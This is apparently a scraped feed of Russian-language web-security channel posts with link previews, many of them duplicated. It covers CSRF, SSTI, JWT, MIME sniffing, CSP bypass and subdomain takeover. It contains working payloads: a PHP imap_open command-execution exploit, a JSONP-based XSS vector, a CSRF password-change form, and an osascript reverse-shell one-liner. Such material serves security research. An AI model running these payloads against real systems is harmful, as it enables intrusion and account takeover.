Знаете ли вы, что reCAPTCHA (та самая капча от Google) дает возможность выполнять CSRF-атаки?
CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.
А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.
Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.
Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.
CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.
А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.
Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.
Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.
Годный доклад на OWASP AppSecEU 2018, от Frans Rosén'а
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
Speaker Deck
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
In this talk, top ranked white-hat hacker Frans Rosén (@fransrosen) will focus on methodologies and results of attacking modern web technologies. He wil…
При внедрении собственных шаблонов в серверные шаблонизаторы (уязвимость SSTI) — эксплуатацию можно автоматизировать с помощью утилиты tplmap. Она и шаблонизатор подберет, и удобный шелл откроет для выполнения произвольного кода. Еще и плагин к Burp Suite имеет.
https://github.com/epinna/tplmap
https://github.com/epinna/tplmap
GitHub
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
Server-Side Template Injection and Code Injection Detection and Exploitation Tool - epinna/tplmap
Если ты встречал странный base64 в параметрах веб-приложений, разбитый двумя точками - скорее всего это JSON Web Tokens.
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json, поэтому HTML попавший в него также срендерится и XSS выполнится. В жизни этот браузер уже не встретить, но часто в BugBounty это принимают.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
{"xss":"<script>alert()</script>"}
— уже не пройдет.Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Кавычка
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json…
Отдельно про text/plain. Сниффинг содержимого text/plain замечен также у IE 8 если у файла не будет расширения. А с помощью ловкости рук можно заставить выполнить там XSS даже на более свежих версиях, если на ресурсе не запрещена загрузка в фрейме.
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
В современных браузерах мы можем отправить кросс-ориджин POST запрос без заголовка Content-Type. Это может быть полезно, если сайт для защиты от CSRF чекает Content-Type, но пропускает проверку, если этот заголовок отсутствует.
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Не все йогурты одинаково полезны!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
Еще и как выполнение произвольного кода через какое-то говно. Жуть!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
https://evil.domain💩.whitelist.domain
, так и при эксплуатации XSS (в нем U+1D306, но суть та же).Еще и как выполнение произвольного кода через какое-то говно. Жуть!
Кавычка
В PHP-приложениях есть куча разных уязвимостей, техник эксплуатации и атак. Тему активно ковыряют лет 10 и вроде бы всё уже расковыряли, и постепенно многие техники сходят на нет. Но всё равно находятся неожиданные вещи в очевидных местах. Например, на HITCON…
Генератор "полезной" картинки для эксплоита бага на примере Wordpress + WooCommerce
https://rdot.org/forum/showpost.php?p=44060&postcount=66
https://rdot.org/forum/showpost.php?p=44060&postcount=66
Кто подавал данные на заведение CVE через https://iwantacve.org могут с удивлением обнаружить, что заявки помещаются в открытый Google Docs (несмотря на то, что там об этом написано). Причем можно посмотреть как на утвержденные уязвимости (прошедшие модерацию, им присвоили номер), так и на новые заявки.
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Wikipedia
Common Vulnerabilities and Exposures
CVE (англ. Common Vulnerabilities and Exposures) — база данных общеизвестных уязвимостей информационной безопасности. Каждой уязвимости присваивается идентификационный номер вида CVE-год-номер, описание и ряд общедоступных ссылок с описанием.
Быстрый поиск по эксплойтам и полезным программам. Enjoy!
https://sploitus.com
https://sploitus.com
Sploitus
💀 Sploitus | Exploits & Tools Search Engine
Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.
В Nginx (и не в nginx) есть аналог .htaccess (пользовательские настройки веб-сервера) и имя ему — .user.ini
Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.
Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.
Дружно передаем привет чуваку с ником crlf, который заресерчил багу и выложил таск по выполнению кода с обходом disable_functions в PHP, используя функцию imap_open (и некоторые особенности в Debian/Ubuntu).
На секундочку, это 0day!
Эксплойт с выполнением команды
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!
На секундочку, это 0day!
Эксплойт с выполнением команды
echo '1234567890'>/tmp/test0001
:<?phpОбязательно читаем подробности тут.
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!
Кавычка
Слайды с Web VIllage #ZeroNights 2018 https://2018.zeronights.ru/en/materials/
Bo0oM - I <"3 XSS
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
Некоторые заголовки могут работать как HTML теги (и наоборот)
Например, тег
Заголовок
Например, тег
<meta http-equiv="Content-Security-Policy" content="default-src https://hello; child-src 'none'; object-src 'none'">
включит соотвествующий CSP, как если бы он был в заголовках.Заголовок
Refresh: 3;URL=https://hello/
покажет содержимое страницы на три секунды, а потом перенаправит пользователя, как если бы на странице был тег<meta http-equiv="refresh" content="3;https://hello/">
ЗаголовокLink: <https://hello/>;rel=stylesheet
попытается подгрузить и применить на страницу CSS, как если на странице был тег<link rel="stylesheet" href="https://hello/">правда, только для Firefox🦊
Недавно на ZN:Web Village обсуждались способы обхода Content-Security-Policy, в том числе через использование JSONP колбэков из списка довереных доменов.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
Разберем на примере. Вот встретили вы такую политику:
А вот и сама презентация https://clck.ru/EsdWb
Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
Разберем на примере. Вот встретили вы такую политику:
Content-Security-Policy: default-src none; script-src 'unsafe-inline' 'nonce-rhg4nkW7bVP4DzlAfkMrdg==' *.yandex.netА для Яндекса как раз есть пара примерчиков. Итого, наш мега-вектор принимает вид:
"><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>PWNED!
А вот и сама презентация https://clck.ru/EsdWb
Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
GitHub
JSONBee/jsonp.txt at master · zigoo0/JSONBee
A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - zigoo0/JSONBee
AppleScript — мощный инструмент.
Нужен root shell?
Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
Нужен root shell?
osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"
Нужен контроль над другим приложением?osascript -e 'tell app "Chrome" to display dialog "Hello World"'
(В Mojave нужно дать доступ через меню «Accessibility»)Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
do shell script
GitHub
GitHub - its-a-feature/Mythic: A collaborative, multi-platform, red teaming framework
A collaborative, multi-platform, red teaming framework - its-a-feature/Mythic
Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
<body onload="document.forms[0].submit();">
<form action="https://visim" method="POST" enctype="text/plain">
<input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
</form>
</body>
Хороший материал по захвату доменов (поддоменов), когда о них забывают:
https://github.com/EdOverflow/can-i-take-over-xyz
https://github.com/EdOverflow/can-i-take-over-xyz
GitHub
GitHub - EdOverflow/can-i-take-over-xyz: "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling…
"Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records. - EdOverflow/can-i-take-over-xyz